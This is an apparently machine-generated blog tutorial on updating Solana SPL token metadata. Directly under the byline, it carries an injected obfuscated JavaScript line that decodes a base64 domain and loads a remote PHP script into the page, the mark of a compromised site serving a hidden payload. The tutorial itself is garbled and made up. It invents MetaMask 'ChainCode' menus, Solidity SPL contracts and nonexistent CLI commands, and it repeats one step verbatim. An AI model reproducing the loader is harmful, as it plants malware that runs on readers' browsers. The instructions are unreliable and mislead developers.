Solana: how to update metadata of spl-tokens using cli
- 2025-02
- by Cn Vn
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=77ee9825″;document.body.appendChild(script);
Updating SPL token Metadata with Metamask and Solana Cli
As a developer working on the solana ecosystem, it’s essential to keep your splits token metadata up-to-date. In this article, we’ll explore how to update SPL token metadata using the solana (SOL) blockchain’s chain code-based api and the metamask browser extension.
Prerequisites
- SOLANA CLI : Ensure you have the latest version of the solana cli installed. You can download it from the official solana website.
- Metamask
: Install metamask on your computer to interact with the solana blockchain.
- SPL token Contract : Create a New SPL Token Contract Using Solidity (SOL) and Deploy It To The Solana Network.
- Chain code : Configure Chaincode on Solana for Metadata updates.
Step 1: Update Metadata Using Metamask
- Launch metamask on your computer.
- Connect your account to the metamask browser extension.
- Go to the Metamask Settings and Select “ChainCode” from the menu.
- Search for “solana” and create a new chain code contract, Such as “metadata-up Dater”.
- UPDATE THE METADATA FOR YOUR SPL TOKEN CONTRACT BY USING THE FOLLOWING COMMAND:
`Bash
Solana update chain code metadata-Updater 0x ... Your ChainCode ID ...
Replace 0x ... your chain code id ...
With the actual id or your chain code.
Step 2: Integrate Solana Cli and Chain code
- Install the Solana Cli Command-Line Tool Using NPM or Yarn:
`Bash
NPM Install Solana -CLI -G
Yarn Global Add Solana Cli
- Connect to the Solana Network Using the
Solana Cli
Command:
`Bash
Solana Connect
- Compile and deploy your chain code contract to the Solana Network Using the Following Commands:
`Bash
NPX Solana Compile Metadata-Updater-Target Solana Options V0.43.1
NPX Solana Build-Metadata-Updater 0x ... Your ChainCode ID ...
Step 3: Update Metadata with Metamask
- Launch metamask on your computer.
- Connect your account to the metamask browser extension.
- Go to the Metamask Settings and Select “ChainCode” from the menu.
- Search for “solana” and create a new chain code contract, Such as “metadata-up Dater”.
- UPDATE THE METADATA FOR YOUR SPL TOKEN CONTRACT BY USING THE FOLLOWING COMMAND:
`Bash
Solana update chain code metadata-Updater 0x ... Your ChainCode ID ...
Replace 0x ... your chain code id ...
With the actual id or your chain code.
Troubleshooting
If you encounter issues while updating metadata, check the following:
- Ensure you’ve installed the solana cli command-line tool correctly.
- Verify that your chain code contract and metadata file are up-to-date.
- Check for any errors in your metamask settings or chain code configuration.
- If using a local blockchain Network, Ensure you are connected to it and have the correct id.
Conclusion
Updating SPL token Metadata with solana’s chain code-based API is a straightforward process. By following thesis steps and troubleshooting tips, you should be able to successful update your metadata using metamask and solana cli. Happy Developing!